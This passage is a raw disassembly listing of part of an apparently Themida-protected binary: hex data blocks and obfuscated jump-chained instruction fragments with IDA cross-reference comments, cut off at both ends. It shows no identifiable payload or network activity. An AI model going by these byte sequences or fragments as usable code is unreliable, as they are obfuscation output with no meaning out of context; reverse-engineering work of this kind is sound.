40FB50E1h, 0F1D8E953h dd 814EFFFFh, 9904CFCEh, 0E6814E18h, 3A4F6005h, 6000EE81h dd 0F5893A4Dh, 0FF7F8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_58ECA5: ; CODE XREF: Themida_:00586481j add dword ptr [esp+4], 3CEB3783h jmp loc_588DEF ; --------------------------------------------------------------------------- dw 0EF01h dd 4C7815Dh, 33000000h, 3C31243Ch, 243C3324h, 6D072D5Ch dd 57510B76h, 0FF8A6BE9h, 240489FFh, 0C6BBB53h, 0D8894F96h dd 4E8C15Bh, 5503E8C1h, 2249DABDh, 8BE8314Ch, 5455242Ch dd 4C5815Dh, 83000000h, 2C8704C5h, 0E2B9E924h, 0F329FFFFh dd 0A7E95D5Eh db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58ED0B: ; CODE XREF: Themida_:00588B7Aj add edx, 4 jmp loc_58A105 ; --------------------------------------------------------------------------- dw 805Bh dd 0EB284AC3h, 594AEB80h, 0FFD3B6E9h, 3363BFFFh, 0BD555B7Eh dd 717A1441h, 0FF669FE9h, 4BE56FFh, 1000000h, 0EE0BE9F3h dd 0F531FFFFh, 19DEB95Eh, 0E9811A63h, 988138Ch, 0FF7770E9h dd 240487FFh, 2404895Ch, 0FF768AE9h db 0FFh ; --------------------------------------------------------------------------- loc_58ED61: ; CODE XREF: Themida_:0058769Dj xchg eax, [esp] pop ebx and ebx, 9C24174h jmp loc_5849C9 ; --------------------------------------------------------------------------- dd offset dword_49457C+11EECh dd 240C8900h, 0FF6A51E9h, 6AE953FFh db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58ED83: ; CODE XREF: Themida_:00588201j add ebp, eax jmp loc_588A48 ; --------------------------------------------------------------------------- dw 0C281h dd 1FF66179h, 0EA81CA29h, 1FF66179h, 815AD187h, 4ECh, 242C8900h dd 6402D2BDh, 45C2684Fh, 34890000h, 3CF6824h, 215E1BC0h dd 0BE565EF5h, 3D50594Ah, 5818EE81h, 0DEF74E89h, 5CE2E681h dd 0F6811B30h, 5E580F2h, 0E95EF529h, 0FFFFE171h dword_58EDDC dd 0E932FF66h, 0FFFF568Fh, 0F750D8F7h, 0BAE92414h ; DATA XREF: Themida_:0058436Co db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EDEF: ; CODE XREF: Themida_:0058DC47j xchg eax, [esp] pop esp push edx mov edx, 435D319Eh xor edx, 56353A07h sub eax, edx pop edx push 13D6h mov [esp], ecx push edx push esi jmp loc_59055E ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0C33028B0h, 0FFD7B5E9h, 4C083FFh, 8B240487h, 89562424h dd 515652E6h, 694C05B9h, 0EECAE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EE36: ; CODE XREF: Themida_:0058D705j push ecx mov ecx, esp add ecx, 4 push esi jmp loc_58FA55 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5F04h, 5E41E924h, 0C183FFFFh, 240C8704h, 0FF65B5E9h dd 3868FFh, 15B0000h, 0B96CE9FBh, 8950FFFFh, 0BE2BE9E0h db 2 dup(0FFh) word_58EE72 dw 8B66h ; DATA XREF: Themida_:005842F8o db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_58BACB ; --------------------------------------------------------------------------- dw 8959h dd 4E355AD0h, 0E952A849h, 0FFFFD1C4h, 6866535Ah, 89660F59h dd 5BB1240Ch, 8B66CF88h, 8956240Ch, 4C681E6h, 52000000h dd 2BAh, 5AD60100h, 2474FF56h, 48F5E04h, 72C5C24h, 704F800h dd 5B2434FFh, 81E78957h, 4C7h, 0A30DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EED2: ; CODE XREF: Themida_:00587873j mov esp, [esp] shr eax, 8 xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx xchg edx, ebx push eax jmp loc_585B34 ; --------------------------------------------------------------------------- loc_58EEE8: ; CODE XREF: Themida_:0058AC7Bj mov [esp], eax push edx mov edx, 2 mov eax, edx pop edx sub ebx, 147D1062h add ebx, eax add ebx, 147D1062h pop eax xchg ebx, [esp] jmp loc_58F91E ; --------------------------------------------------------------------------- loc_58EF0B: ; CODE XREF: Themida_:0058DF32j push ecx mov ecx, 59CE224Dh or ecx, 398440C6h add ecx, 0E507A02h sub ecx, 75129284h mov esi, ecx jmp loc_589F4D ; --------------------------------------------------------------------------- dw 0D501h dd 0E3C5E95Ah, 0E952FFFFh, 0FFFFF709h, 49E1BD55h, 0C2814C3Ch dd 430604F7h, 0EC81EA29h, 4, 0E9243C89h, 0FFFFE438h ; --------------------------------------------------------------------------- loc_58EF54: ; CODE XREF: Themida_:005886C7j inc ecx add ecx, 0C1AB88ADh and eax, ecx mov ecx, [esp] add esp, 4 or edx, eax jmp loc_58C324 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF87h, 3E95158h, 0BB000004h, 2CBF2026h, 3D21BA52h dd 0D321311Fh, 0A8F3815Ah, 0C1091D2Ch, 0EB8106EBh, 57B913ECh dd 0A42CB81h, 68567A6Bh, 5984504Fh, 5EF3015Eh, 0E95BDF01h dd 0FFFFC76Ch dword_58EFAC dd 240C8B66h, 0FFB192E9h, 8BC600FFh, 0BDE92404h ; DATA XREF: Themida_:00584194o db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EFBF: ; CODE XREF: Themida_:005896B6j xchg ecx, [esp] pop esp push ecx mov ecx, 4BC2665Bh add [esp+4], ecx pop ecx add [esp], eax sub dword ptr [esp], 4BC2665Bh add dword ptr [esp], 750E25AFh jmp loc_584473 ; --------------------------------------------------------------------------- dd 7725E95Dh, 0B551FFFFh, 1FED8061h, 0FFBC0DE9h, 5C21BBFFh dd 0DD8936EDh, 8B59555Bh, 0C481242Ch, 4, 0EBE9CD01h, 50000001h dd 0FF7A30E9h, 5AD501FFh, 4BA52h, 0ED810000h, 35B12CC6h dd 0E951D529h, 0FFFFC440h ; --------------------------------------------------------------------------- loc_58F02C: ; CODE XREF: Themida_:00586840j mov eax, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_58CCD8 ; --------------------------------------------------------------------------- db 55h, 89h, 0CDh dd 0FF9CE5E9h, 0E9BCB4FFh, 0FFFFC8F0h, 0E95A5452h, 0FFFFA6B6h ; --------------------------------------------------------------------------- loc_58F054: ; CODE XREF: Themida_:00588594j pop ecx jmp loc_58567E ; --------------------------------------------------------------------------- dw 0BF57h dd 5B9A7FA2h, 565CE781h, 4F4740C8h, 142BE952h, 0CDB50000h dd 9FE9FD00h, 53FFFFFCh, 1063CABBh, 16C38175h, 0E95DA458h dd 0FFFFFA1Eh, 8108E3C1h, 9C1835E3h, 4C3810Dh, 1F37BE8h dd 0C335BD9h, 0DB86E924h, 8851FFFFh, 0E9CC88D9h, 16A3h dd 4C781h, 0C7810000h, 4, 5C243C87h, 1D17C281h, 0DA0154C5h dd 1D17EA81h, 835B54C5h, 148702EAh, 89665C24h, 0D4E9240Ch db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F0DB: ; CODE XREF: Themida_:005902F5j mov ebx, [esp] jmp loc_588382 ; --------------------------------------------------------------------------- db 51h dd 544DF9B9h, 0F5E98136h, 8136544Dh, 1A612EC2h, 53CA0100h dd 1A612EBBh, 5BDA2900h, 24148759h, 2434FF5Ch, 0E1895158h dd 4C181h, 0E9830000h, 240C8704h, 2434895Ch, 6851E689h dd 0DEB7B61h, 67E98159h, 810D7D10h, 597BAEC1h, 8E9C108h dd 8108E1C1h, 0C7E604F1h, 0FFCE0108h, 0E9592434h, 0FFFFBD3Ah dd 58B5C380h, 0AFC380h, 0AFEB80C3h, 2E3B68h, 24148900h dd 5DE268h, 0C122E900h, 0E952FFFFh, 0FFFF601Eh, 53E9F028h dd 3100000Ch, 1C33241Ch, 0A7AE924h, 14890000h, 78BB5324h dd 0BA200D66h, 200D667Ch, 0FF6F12E9h db 0FFh ; --------------------------------------------------------------------------- loc_58F191: ; CODE XREF: Themida_:0058C7A4j and edi, 67015B8Eh push edx mov edx, 4BCE15DBh jmp loc_58CCE6 ; --------------------------------------------------------------------------- dw 0BA52h dd 356306D4h, 465AD689h, 98BB5346h, 0F7493C76h, 8AE94BD3h dd 0E9FFFFE9h, 0FFFF52B3h, 52F3E781h, 0E94F7C37h, 0FFFF8ED1h dd 4A497F2Dh, 4EC814Bh, 89000000h, 80E9241Ch db 87h, 2 dup(0FFh) byte_58F1DF db 8Fh ; DATA XREF: Themida_:005843C4o dd 528DE902h, 0C681FFFFh, 0DB544BAh, 0FFC1D1E9h, 5AD589FFh dd 0E6D1E94Dh, 8159FFFFh, 222EDBF5h, 5DEE01A5h, 4C681h dd 0FF560000h, 0E9042474h, 10A2h dword_58F214 dd 0E92434FFh, 0FFFFB022h, 2BF1ED81h, 335B4645h, 2C31242Ch ; DATA XREF: Themida_:005842FCo dd 242C3324h, 8B24248Bh, 89512414h, 0EC8150E1h, 4, 68243C89h dd 6BC41169h, 0F7EF875Fh, 0E9EF87D5h, 0FFFFFA28h, 50FD8851h dd 0FFF5F4E9h, 4E6568FFh, 2C890000h, 5A06BD24h, 0BE566D45h dd 1B4C311Fh, 0FFE001E9h, 0D7C181FFh, 0F7701229h, 41D9F7D1h dd 0E904E9C1h, 0FFFF9B9Ch, 4EC8155h, 0E9000000h, 6D0h dd 8704C083h, 835C2404h, 1C3302C3h, 241C3124h, 5C241C33h dd 9C2404FEh, 0FF51C6E9h, 240433FFh, 0FF9733E9h, 37345BFFh dd 0CBE9E334h, 21FFFFAAh, 0C00B5DE8h, 0F080840Fh, 0B568FFFFh dd 8900005Ah, 6D682404h, 0E900004Bh, 0FFFF96D2h ; --------------------------------------------------------------------------- loc_58F2DC: ; CODE XREF: Themida_:0058A718j mov edi, 1A881C04h jmp loc_58752C ; --------------------------------------------------------------------------- dw 0CC80h dd 79B151E0h, 2819C180h, 0E58859CCh, 0FFAAC4E9h db 0FFh ; --------------------------------------------------------------------------- loc_58F2F9: ; CODE XREF: Themida_:00585B09j not byte ptr [esp] pop edx xchg dl, ah xor ah, 5Eh or ah, 56h jmp loc_58588E ; --------------------------------------------------------------------------- dw 0F766h dd 7E6866D2h, 1489664Dh, 74FF6624h, 8B660224h, 89532414h dd 20E951E3h, 0B9FFFFEEh, 4, 0FF572DE9h, 0D8295FFFh, 0B67E9h dd 0C3816600h, 58663BA2h, 0FF5F9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_58F345: ; CODE XREF: Themida_:00586EC8j pop esp mov [esp], edx jmp loc_58E6A1 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 335EF701h, 3C31243Ch, 243C3324h, 6624248Bh, 8124048Bh dd 4ECh, 0ED3CE900h, 0C683FFFFh, 93BCE904h, 8B54FFFFh dd 51E9240Ch, 1FFFFDDh, 240C8BC8h, 81E38953h, 4C3h, 4C38300h dd 0FF5832E9h, 4A08B9FFh, 0CBB1EDBh, 291EDB4Ah, 0A451E9CBh dd 0CF29FFFFh, 3C875859h, 24248B24h, 68C8BE0Fh, 26Dh, 0E9240C89h dd 0FFFF50AFh, 33240C31h, 0E95C240Ch, 0FFFF50A3h ; --------------------------------------------------------------------------- loc_58F3D0: ; CODE XREF: Themida_:0058DE9Bj pop edx xor ebp, 2B5D1747h jmp loc_5862B7 ; --------------------------------------------------------------------------- loc_58F3DC: ; CODE XREF: Themida_:0058C329j push ebx jmp loc_59064F ; --------------------------------------------------------------------------- dw 9868h dd 89000016h, 4EE9240Ch db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_58F3EF: ; CODE XREF: Themida_:00584B24j shr eax, 8 xor eax, 0C5E8581h sub eax, 35390D72h jmp loc_588669 ; --------------------------------------------------------------------------- loc_58F401: ; CODE XREF: Themida_:0058569Aj pop esi pop dword ptr [esp] pop esp jmp loc_584473 ; --------------------------------------------------------------------------- db 80h dd 0EDC008F5h, 80E5D005h, 0EE00F3C5h, 0FF5F62E9h, 24248BFFh dd 0E92434FFh, 0FFFF79C2h, 94E9E289h, 58000000h, 97BB5357h dd 0F761B146h, 81DBF7D3h, 875163E3h, 81DBF76Fh, 0AEAA23F3h dd 5BDF8991h, 0FFE3CCE9h, 4C481FFh, 50000000h, 4B8h, 0E9C50100h dd 0FFFF7A6Eh, 64528205h, 4875E77h, 0C80F5C24h, 0FFE21EE9h db 0FFh ; --------------------------------------------------------------------------- loc_58F475: ; CODE XREF: Themida_:0058F8C2j pop eax mov ebp, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push edx jmp loc_589DD4 ; --------------------------------------------------------------------------- dw 0E368h dd 89000079h, 4BF243Ch, 0E9000000h, 0FFFF9BC3h ; --------------------------------------------------------------------------- loc_58F49C: ; CODE XREF: Themida_:00586C56j pop esp push eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], esi push ecx push 4ACB1324h mov ecx, [esp] jmp loc_58C9AA ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28300h, 31241433h, 93E92414h, 89FFFFCCh, 74FF2434h dd 8F5E0424h, 63E92404h, 1FFFF8Bh, 0B95159CFh, 2, 78E9h dd 3ABB5300h, 43088423h, 16A6C381h, 0D9216009h, 0A8D6E95Bh dd 148BFFFFh, 0AE42E924h, 1489FFFFh, 4BA24h, 0D1890000h dd 0E9CE015Ah, 0FFFF8A0Bh dword_58F524 dd 24048B66h, 0FF6E6CE9h, 5EF529FFh, 74FF5559h, 42E90424h ; DATA XREF: Themida_:00584294o dd 0BEFFFFAAh, 4, 27E9F501h, 5000003h, 54A94210h, 0FFFDE0E9h dd 0C30166FFh, 665A5866h, 2D51EB81h, 66C32966h, 51BD6655h dd 0EB01662Dh, 0FF8770E9h, 7CC781FFh, 11C9C43h, 7CEF81CFh dd 8B1C9C43h, 0C481240Ch, 4, 0E9243C33h, 0FFFFCCAFh, 53FFEA80h dd 0B6CE9h db 0 byte_58F595 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00584398o db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 25C1h mov [esp], esi push ebx jmp loc_58DCD1 ; --------------------------------------------------------------------------- dd 2474FF55h, 48F5D04h, 24248B24h, 0FF9BDBE9h, 8E7C1FFh dd 0C781DFF7h, 0BD616660h, 89E9FB89h, 8B00000Bh, 0DBE9242Ch dd 81FFFF93h, 0FB22A7F5h, 0D2BB5378h, 31075F28h, 0EF295BDDh dd 0B60F5B5Dh, 8734FFC0h, 0DFDE9h, 65C78100h, 50662161h dd 11E4EBB8h, 58C72949h, 815FFE31h, 466E1FC3h, 81F3295Bh dd 466E1FEBh, 0D8315E5Bh, 0E9241C8Bh, 0FFFFE187h, 81242489h dd 42404h, 0FBE90000h, 0FFFFFFC5h, 0E9042474h, 0FFFFD1B4h dd 30242C32h, 2CE9242Ch, 0B9FFFF4Eh, 0D17157Ah, 6126E181h dd 0E9815FB0h, 0D10011Eh, 0FF91B4E9h db 0FFh byte_58F65D db 0FFh, 34h, 24h ; DATA XREF: Themida_:005841E4o dd 0E3895358h, 8F5DE955h, 0C380FFFFh, 80C30061h, 0E95261EBh dd 0FFFF7A41h, 0B5512EB6h, 0FD89E968h, 0E989FFFFh, 4AC2815Dh dd 103BF71h, 4AEA81CAh, 5903BF71h, 4D368h, 0ADD3E900h dd 24B1FFFFh, 0F604E1C0h, 0BCB450D9h, 8050E480h, 0ECC087F4h dd 0AB66E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F6B6: ; CODE XREF: Themida_:0058469Fj add esp, 4 jmp loc_58C19A ; --------------------------------------------------------------------------- db 52h, 54h, 0FFh dd 148B2434h, 4C48124h, 81000000h, 4C4h, 711CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F6DA: ; CODE XREF: Themida_:0058E75Cj push 2049h mov [esp], ebp jmp loc_58885C ; --------------------------------------------------------------------------- db 68h dd 2A2Bh, 0FFBBCDE9h, 0CB8853FFh, 0A20E9h db 0 ; --------------------------------------------------------------------------- loc_58F6F9: ; CODE XREF: Themida_:0058B305j mov ecx, ebp mov ebp, [esp] add esp, 4 sub ebp, ecx pop ecx add ebp, edx add ebp, 6DB30435h jmp loc_58DAD2 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 6 dd 8328EB81h, 0D92903D7h, 90E1E95Bh, 0C281FFFFh, 786B36AEh dd 0FFDB0EE9h, 4B9FFh, 0CE010000h, 0FFE53EE9h, 545358FFh dd 4C3815Bh, 0E9000000h, 0FFFFA314h ; --------------------------------------------------------------------------- loc_58F748: ; CODE XREF: Themida_:005867B4j pop ecx push eax mov eax, 2EFC25DEh add [esp+8], eax jmp loc_585B58 ; --------------------------------------------------------------------------- dword_58F758 dd 592434FFh, 6AA468h, 240C8900h, 0B850E189h, 4, 0FFB123E9h ; DATA XREF: Themida_:005841A4o dd 6879BDFFh, 0B8503462h, 500B00E4h, 7C9F3548h, 0D8F73147h dd 0FFB1DEE9h, 8BFD01FFh, 0C483243Ch, 4ED8304h, 8B242C87h dd 1C892424h, 310BB24h, 0C38123E6h, 31DA497Eh, 4CBD554Bh dd 814E4A7Bh, 0C4084DE5h, 5E5C15Dh, 8AFCD81h, 0F581400Dh dd 9DCD4523h, 0E95DEB29h, 0FFFFCC89h, 51242489h, 4B9h dd 244C0100h, 3C8B5904h, 0E0895024h, 405h, 0CE1DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F7EA: ; CODE XREF: Themida_:0058A9A6j push ecx mov ecx, 0E5D43ACh xor ecx, 0F19D7D61h add eax, ecx pop ecx add esi, eax pop eax jmp loc_584CEC ; --------------------------------------------------------------------------- db 56h, 54h, 5Eh dd 4B951h, 0CE010000h, 0BE565559h, 48A6613Eh, 815EF589h dd 8429FBEDh, 8EDC121h, 420DB951h, 0CD2157AFh, 0FF5014E9h dd 2ECC0FFh, 5321B652h, 0FE00E0B7h, 5AF4005Bh, 0FE4EC480h dd 0CDB652C4h, 0F68EC680h, 80D6F6DEh, 66E99CEEh, 1FFFFE5h dd 0BA525EF7h, 47BD0248h, 55AD029h, 52DE5480h, 2743B72Dh dd 5FFFE91Dh, 565EFFFFh, 4BEh, 5EF50100h, 0FFFD33E9h db 0FFh ; --------------------------------------------------------------------------- loc_58F87D: ; CODE XREF: Themida_:0058C2B0j mov ecx, ebx pop ebx and ecx, 16146F8Ch add ecx, 6D73666Eh xor ecx, 3D873EBAh shl ecx, 8 add ecx, 79DD75F2h jmp loc_587C03 ; --------------------------------------------------------------------------- dd 0F66E9F6h, 0A1E9CCB6h, 0B8FFFFF7h, 0DAA18036h, 62E9C201h db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F8B7: ; CODE XREF: Themida_:00590157j mov eax, 4 jmp loc_58FFE7 ; --------------------------------------------------------------------------- loc_58F8C1: ; CODE XREF: Themida_:005882C5j push ebp jmp loc_58F475 ; --------------------------------------------------------------------------- loc_58F8C7: ; CODE XREF: Themida_:00587899j mov eax, esi jmp loc_587AFD ; --------------------------------------------------------------------------- dw 815Ch dd 4C3h, 4BE95100h, 0B900000Dh, 40FB06A3h, 0FFF347E9h dd 24048FFFh, 0FF508CE9h db 0FFh ; --------------------------------------------------------------------------- loc_58F8ED: ; CODE XREF: Themida_:0058E10Fj xchg ecx, [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_585F87 ; --------------------------------------------------------------------------- loc_58F903: ; CODE XREF: Themida_:0058FC7Dj mov ecx, [esp] add esp, 4 dec eax jmp loc_585E2B ; --------------------------------------------------------------------------- a3LFh db '3<$‹$$fh',0 dd 653CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F91E: ; CODE XREF: Themida_:0058EF06j pop esp idiv cx push 2CA9h mov [esp], edx push esp pop edx add edx, 4 push esi mov esi, 5C6139E1h jmp loc_587E08 ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h dd 31CE3159h, 87CE31F1h, 31DA31F3h, 0B160E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F952: ; CODE XREF: Themida_:00585ED6j push eax mov eax, 5AF95CA7h mov esi, eax pop eax jmp loc_585B66 ; --------------------------------------------------------------------------- dd 56242489h, 0FFE92EE9h, 4BDFFh, 0EE010000h, 52B0685Dh dd 0C890000h, 0E56FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F97E: ; CODE XREF: Themida_:0058CC9Bj mov edi, esi jmp loc_5900F6 ; --------------------------------------------------------------------------- db 54h, 0FFh, 34h dd 66B8E924h, 0C768FFFFh, 89000058h, 42E9242Ch, 31FFFFA0h dd 0B2E5E9EFh, 0C701FFFFh, 0D9EF8158h, 11DFD61h, 0D9C781C7h dd 811DFD61h, 0A74473EFh, 68FD583Dh, 4ACFh, 81240489h dd 4ECh, 243C8900h, 0C4341D68h, 243C8B17h, 68E08950h, 4F22h dd 0E9243C89h, 0FFFFBBE7h, 0C3806BB3h, 9BB9E92Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F9EE: ; CODE XREF: Themida_:0058A6E9j mov esi, edi pop edi inc esi sub esi, 5EF770B4h or esi, 431632EEh add esi, 0D9404532h jmp loc_58626B ; --------------------------------------------------------------------------- db 81h, 0F2h, 53h dd 4A54922Eh, 6646F281h, 0D6E9DD83h, 5BFFFFF7h, 8124148Bh dd 4C4h, 0E9E80000h, 0FFFFAAA9h, 5504C483h, 966BE3BDh dd 5DE92156h, 718DBA52h, 0D1311EFBh, 8124148Bh, 4C4h, 2F682D00h dd 0C8014D2Eh, 0FF555BE9h db 0FFh ; --------------------------------------------------------------------------- loc_58FA55: ; CODE XREF: Themida_:0058EE40j mov esi, 751079B7h jmp loc_5863F5 ; --------------------------------------------------------------------------- loc_58FA5F: ; CODE XREF: Themida_:0058E00Dj pop edi add esp, 4 shr ecx, 0Bh jmp loc_584914 ; --------------------------------------------------------------------------- db 52h dd 0FFBAB5E9h db 0FFh ; --------------------------------------------------------------------------- loc_58FA71: ; CODE XREF: Themida_:0058FBD7j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push edi jmp loc_58D418 ; --------------------------------------------------------------------------- dd 83242489h, 8B042404h, 0C483241Ch, 4C38104h, 55000000h dd 4BDh, 0E9EB0100h, 0FFFFA5B5h, 111770BEh, 5EF32954h dd 0D7F7FB87h, 5AE9FB87h, 2DFFFFFCh, 2A5C2A1Eh, 8124148Bh dd 4C4h, 0BF5700h, 817B1E5Ah, 613DE3EFh, 5FF8014Ah, 0BB53D829h dd 61B271Ah, 0FFA96BE9h db 0FFh ; --------------------------------------------------------------------------- loc_58FAE1: ; CODE XREF: Themida_:00589C1Ej add edx, 4 jmp loc_58BF8E ; --------------------------------------------------------------------------- db 1, 0D8h, 8Bh dd 0EC81241Ch, 4, 0E9240C89h, 0FFFFC5E6h, 0E680DEF6h, 0BBB151D4h dd 80FFE980h, 0EE809BEEh, 80CE2885h, 0B05085C6h, 8E0C007h dd 0C0FEF724h, 0D1E96B04h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FB23: ; CODE XREF: Themida_:0058E708j add edx, esi pop esi push 5041h mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_58520E ; --------------------------------------------------------------------------- dd 7474E95Eh, 14F7FFFFh, 0A9DBE924h, 0F746FFFFh, 0EAD3E9D6h dd 0C581FFFFh, 0D4A5704h, 0A2E9E989h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FB5B: ; CODE XREF: Themida_:00585C0Cj sub esp, 4 mov [esp], ebx mov ebx, 437F344Bh push 5521h jmp loc_589CBF ; --------------------------------------------------------------------------- byte_58FB73 db 31h ; DATA XREF: Themida_:00584374o dd 14332414h, 0AF93E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FB7E: ; CODE XREF: Themida_:0058ACD6j mov ebx, esp push esi mov esi, 6B116412h shl esi, 3 push edi mov edi, 26234948h jmp loc_5847D8 ; --------------------------------------------------------------------------- dd 8B243487h, 2C892424h, 7BF5724h, 8921AF36h, 0C5835FFDh dd 0DCCD81FFh, 450A7D3Ah, 3B76F581h, 0EB29167Dh, 0FFE834E9h db 0FFh ; --------------------------------------------------------------------------- loc_58FBBD: ; CODE XREF: Themida_:0058B50Cj pop edx add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_59008E ; --------------------------------------------------------------------------- loc_58FBCF: ; CODE XREF: Themida_:0058B7F3j mov ebp, esp add ebp, 4 jmp loc_58FA71 ; --------------------------------------------------------------------------- loc_58FBDC: ; CODE XREF: Themida_:0058D340j mov [esp], ebp push ecx jmp loc_58BD9F ; --------------------------------------------------------------------------- loc_58FBE5: ; CODE XREF: Themida_:00587454j add ebp, eax mov eax, [esp] add esp, 4 add ebp, 4 jmp loc_58A9E6 ; --------------------------------------------------------------------------- dd 2824248Bh, 0C1DEE9F0h, 1C31FFFFh, 241C3324h, 0E924248Bh dd 0FFFFF328h ; --------------------------------------------------------------------------- loc_58FC10: ; CODE XREF: Themida_:0058E9FBj push eax mov eax, 2D3E421Dh dec eax shr eax, 1 not eax shr eax, 4 and eax, 529833C0h xor eax, 29001C4h add ebp, eax pop eax xchg ebp, [esp] pop esp push edi mov edi, 2B512F9Fh xor ebx, edi pop edi mov esi, ebx pop ebx add ebp, esi mov esi, [esp] jmp loc_590508 ; --------------------------------------------------------------------------- db 50h, 0E9h, 6Fh dd 30FFFFB3h, 4EC81D8h, 89000000h, 0E589242Ch, 4C581h dd 0ED830000h, 242C8704h, 6CB4E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FC6A: ; CODE XREF: Themida_:0058B006j sub edx, 694FD02Ah xor ecx, edx mov edx, [esp] add esp, 4 or eax, ecx jmp loc_58F903 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 5BEEBD55h, 0E5C11161h, 74E94502h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FC97: ; CODE XREF: Themida_:0058B702j add edi, ebp pop ebp jmp loc_589FB1 ; --------------------------------------------------------------------------- db 59h dd 0FE56E95Bh, 0F280FFFFh, 0EA33E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FCAE: ; CODE XREF: Themida_:00589E2Ej push ecx jmp loc_5890BA ; --------------------------------------------------------------------------- dd 0D3239EBBh, 0F3814340h, 153A0AF6h, 0E95BDE89h, 0FFFFB4E3h dd 5C240C87h, 0FF730AE9h, 0B0B652FFh, 8002E6C0h, 32E942CEh dd 89FFFF5Fh, 0EBE9241Ch, 80FFFFD1h, 0C3004EEBh, 584EC380h dd 0EB80C300h, 0C206E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FCFA: ; CODE XREF: Themida_:00589DDBj pop edx push edi mov edi, 1B61063Fh shl edi, 5 add edi, 75C15EC5h shr edi, 6 sub edi, 3878896h sub ecx, 619C72FEh sub ecx, 2D04199Ch add ecx, edi add ecx, 2D04199Ch jmp loc_584AFD ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFA7BEh, 0C5E951h, 3C8B0000h, 4C48324h dd 0FFAE1AE9h, 0E28952FFh, 554C68h, 240C8900h, 62076850h dd 48B55DEh, 4C48124h, 35000000h, 55DE6203h, 158C189h dd 240C8BCAh, 4C481h, 1FE90000h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FD77: ; CODE XREF: Themida_:0058510Bj sub ebp, 4D415167h add ebp, 0F5B12F12h jmp loc_59051E ; --------------------------------------------------------------------------- dd 3DCE68h, 242C8900h, 0FFFBD4E9h db 0FFh ; --------------------------------------------------------------------------- loc_58FD95: ; CODE XREF: Themida_:00586138j and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx jmp loc_585AEA ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 2 dd 4A73F281h, 0EAC161B4h, 55F6E904h, 0AC2CFFFFh, 24148B66h dd 5302C483h, 0E92CB151h, 0FFFFFEF9h ; --------------------------------------------------------------------------- loc_58FDD8: ; CODE XREF: Themida_:00587219j add esp, 4 push edx mov edx, 2437166Bh push ecx mov ecx, 0D2016C9h or ecx, 7FD869D0h sub ecx, 0FFFFFFFFh sub ecx, 0FFFFFFFFh sub ecx, 0FFFFFFFFh push edx jmp loc_58C62A ; --------------------------------------------------------------------------- db 0B1h dd 26E980BBh, 3006B252h, 0CB285AD1h, 0E2B55159h, 8059EB30h dd 0D928DEEBh, 8CE9E95Bh, 0E95AFFFFh, 0FFFFD3BDh, 24048F58h dd 8124248Bh, 4C7h, 0AE80E900h db 2 dup(0FFh) word_58FE36 dw 38E9h ; DATA XREF: Themida_:005841ACo dd 0FFFFFF46h, 5A042474h, 0E924048Fh, 0FFFF96C7h, 8104C483h dd 7678E6EDh, 5DE8010Dh, 4564BE56h, 0F6813299h, 32994560h dd 348BF001h, 4C48324h, 8904EC83h, 74FF2404h, 8F580424h dd 855C2404h, 0F4E99CC8h, 5AFFFF45h, 8124148Bh, 4C4h, 0C53FE900h dd 0C87FFFFh, 0C1815C24h, 0FCC9E52Ah, 0E959CE89h, 0FFFFE2D0h dd 0FD082105h, 85BA521Dh, 29426741h, 0B001E9D0h, 0D831FFFFh dd 741E68h, 243C8900h, 0FFC68h, 240C8900h, 5D3E75B9h, 0CA1BF04h dd 0B1E9747Ah db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FED3: ; CODE XREF: Themida_:0058B235j ; 